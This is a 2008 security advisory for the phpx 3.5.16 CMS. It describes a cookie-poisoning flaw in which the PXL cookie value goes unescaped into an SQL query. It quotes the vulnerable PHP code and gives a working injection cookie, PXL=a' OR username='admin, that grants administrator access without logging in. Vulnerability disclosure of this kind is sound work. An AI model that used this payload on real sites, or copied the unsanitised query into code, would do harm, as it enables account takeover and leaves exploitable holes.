=======================================================================
= gnix =
gnixmail at gmail dot com
http://gnix.netsons.org
Application: phpx
http://www.phpx.org/project.php (stable version)
Versions: 3.5.16
Platforms: All
Bug: Cookie poisoning / Login bypass
Date: 31 July 2008
=======================================================================
1. Intro
2. Cookie poisoning and login bypass
=======================================================================
1. Intro
========
PHPX is a web portal system, blog,Content Management System (CMS), forums,
and more. All files are currently hosted at http://www.phpx.org/project.php
=======================================================================
2. Cookie poisoning and login bypass
====================================
Every file in phpx-3.5.16/ directory have two lines of code: one for
include includes/functions.inc.php, and another to create a website object.
website's constructor will call checkCookie.
Source code (includes/functions.inc.php)
---------------------------------------------------------------------
class website {
...
function website(){
...
$this->checkCookie();
---------------------------------------------------------------------
The function checkCookie set the user_id if PXL cookie is set and the
query return an user_id, and an username.
Vulnerable code (includes/functions.inc.php lines 75 to 89)
---------------------------------------------------------------------
function checkCookie(){
if ($_COOKIE[PXL]){
list($user_id, $username) = $this->core->db->fetch("select user_id, username from users where sess = '$_COOKIE[PXL]'");
if (!$user_id){
setcookie("PXL", '', time() - 60, '', '', $this->core->secure);
$head = "Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
header($head);
}
else {
if (strtolower($username) == "xnuiem"){ $this->debug = 1; }
$this->user_id = $user_id;
}
}
}
---------------------------------------------------------------------
This user_id is then used in the website constructor for set the user_id
of the core class.
Source code (includes/functions.inc.php line 32)
---------------------------------------------------------------------
$this->core->user_id = $this->user_id;
---------------------------------------------------------------------
Now if you want to get the admin privileges and by pass the login, you
have to create a cookie like this below:
---------------------------------------------------------------------
PXL=a' OR username='admin
---------------------------------------------------------------------
To do that you can use 'Modify Headers'.
=======================================================================
